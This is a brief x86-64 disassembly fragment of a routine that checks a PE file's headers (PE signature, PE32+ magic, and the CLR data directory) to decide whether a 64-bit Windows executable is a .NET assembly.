cmp dword [rax], 0x4550
je 0x140014bfd
xor al, al
jmp 0x140014c41
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014c11
xor al, al
jmp 0x140014c41
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014c23
xor al, al
jmp 0x140014c41
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014c3f
xor al, al
jmp 0x140014c41
mov al, 1
add rsp, 0x38
ret